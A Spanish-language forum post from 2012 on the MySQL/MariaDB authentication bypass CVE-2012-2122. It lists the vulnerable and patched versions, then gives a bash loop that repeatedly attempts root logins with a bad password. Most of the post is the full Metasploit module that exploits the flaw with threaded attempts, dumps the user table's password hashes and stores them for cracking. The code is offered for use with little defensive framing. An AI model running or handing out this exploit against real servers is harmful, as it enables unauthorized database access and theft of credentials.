Grave Vulnerabilidad en MySQL/MariaDB (Autenticación sin Password)

Iniciado por CalebBucker, Junio 12, 2012, 03:56:16 PM

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Se ha encontrado un Grave bug en MySQL & MariaDB que permite a un atacante evadir la autenticación de la base de datos.

La vulnerabilidad (CVE-2012-2122) afecta a las siguientes versiones:

- MariaDB y MySQL hasta la 5.1.61, 5.2.11, 5.3.5 y 5.5.22

NO SON vulnerables las versiones:

- MySQL 5.1.63, 5.5.24 y 5.6.6
- MariaDB 5.1.62, 5.2.12, 5.3.6 y 5.5.23

El "exploit" de este bug es simplemente realizar conexiones simultáneas, con cualquier password introducida como parámetro y contra un servidor vulnerable, obteniendo así máximos privilegios (root).

Simplemente con esta linea en bash obtendremos acceso al servidor MySQL:
Código: php
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done


Para los amantes de MSF, ya existe un módulo (mysql_authbypass_hashdump) que explota este bug para dumpear toda la base de datos:
Código: php
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::MYSQL
include Msf::Auxiliary::Report

include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'MYSQL CVE-2012-2122 Authentication Bypass Password Dump',
'Version' => '$Revision$',
'Description' => %Q{
This module exploits a password bypass vulnerability in MySQL in order
to extract the usernames and encrypted password hashes from a MySQL server.
These hashes ares stored as loot for later cracking.
},
'Authors' => [
'TheLightCosine <thelightcosine[at]metasploit.com>', # Original hashdump module
'jcran' # Authentication bypass bruteforce implementation
],
'References' => [
['CVE', '2012-2122'],
['OSVDB', '82804']
],
'DisclosureDate' => 'Jun 09 2012',
'License' => MSF_LICENSE
)

deregister_options('PASSWORD')
end


def run_host(ip)

# Keep track of results (successful connections)
results = []

# Username and password placeholders
username = datastore['USERNAME']
password = Rex::Text.rand_text_alpha(rand(8)+1)

# Do an initial check to see if we can log into the server at all
begin
socket = connect(false)
x = ::RbMysql.connect({
:host => rhost,
:port => rport,
:user => username,
:password => password,
:read_timeout => 300,
:write_timeout => 300,
:socket => socket
})
x.connect
results << x

print_good "#{rhost}:#{rport} The server accepted our first login as #{username} with a bad password"

rescue RbMysql::HostNotPrivileged
print_error "#{rhost}:#{rport} Unable to login from this host due to policy (may still be vulnerable)"
return
rescue RbMysql::AccessDeniedError
print_good "#{rhost}:#{rport} The server allows logins, proceeding with bypass test"
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error "#{rhost}:#{rport} Error: #{e}"
return
end

# Short circuit if we already won
if results.length > 0
@mysql_handle = results.first
return dump_hashes
end


#
# Threaded login checker
#
max_threads = 16
cur_threads = []

# Try up to 1000 times just to be sure
queue = [*(1 .. 1000)]

while(queue.length > 0)
while(cur_threads.length < max_threads)

# We can stop if we get a valid login
break if results.length > 0

# keep track of how many attempts we've made
item = queue.shift

# We can stop if we reach 1000 tries
break if not item


# Status indicator
print_status "#{rhost}:#{rport} Authentication bypass is #{item/10}% complete" if (item % 100) == 0

t = Thread.new(item) do |count|
begin
# Create our socket and make the connection
s = connect(false)
x = ::RbMysql.connect({
:host => rhost,
:port => rport,
:user => username,
:password => password,
:read_timeout => 300,
:write_timeout => 300,
:socket => s,
:db => nil
})
print_status "#{rhost}:#{rport} Successfully bypassed authentication after #{count} attempts"
results << x
rescue RbMysql::AccessDeniedError
rescue Exception => e
print_status "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"
end
end

cur_threads << t

end

# We can stop if we get a valid login
break if results.length > 0

# Add to a list of dead threads if we're finished
cur_threads.each_index do |ti|
t = cur_threads[ti]
if not t.alive?
cur_threads[ti] = nil
end
end

# Remove any dead threads from the set
cur_threads.delete(nil)

::IO.select(nil, nil, nil, 0.25)
end

# Clean up any remaining threads
cur_threads.each {|x| x.kill }


if results.length > 0
print_good("#{rhost}:#{rport} Successful exploited the authentication bypass flaw, dumping hashes...")
@mysql_handle = results.first
return dump_hashes
end

print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
end

def dump_hashes

# Grabs the username and password hashes and stores them as loot
res = mysql_query("SELECT user,password from mysql.user")
if res.nil?
print_error("#{rhost}:#{rport} There was an error reading the MySQL User Table")
return

end

# Create a table to store data
tbl = Rex::Ui::Text::Table.new(
'Header' => 'MysQL Server Hashes',
'Indent' => 1,
'Columns' => ['Username', 'Hash']
)

if res.size > 0
res.each do |row|
next unless (row[0].to_s + row[1].to_s).length > 0
tbl << [row[0], row[1]]
print_good("#{rhost}:#{rport} Saving HashString as Loot: #{row[0]}:#{row[1]}")
end
end

this_service = nil
if framework.db and framework.db.active
this_service = report_service(
:host => rhost,
:port => rport,
:name => 'mysql',
:proto => 'tcp'
)
end

report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty?

end

# Stores the Hash Table as Loot for Later Cracking
def report_hashes(hash_loot,service)
filename= "#{rhost}-#{rport}_mysqlhashes.txt"
path = store_loot("mysql.hashes", "text/plain", rhost, hash_loot, filename, "MySQL Hashes", service)
print_status("#{rhost}:#{rport} Hash Table has been saved: #{path}")

end

end


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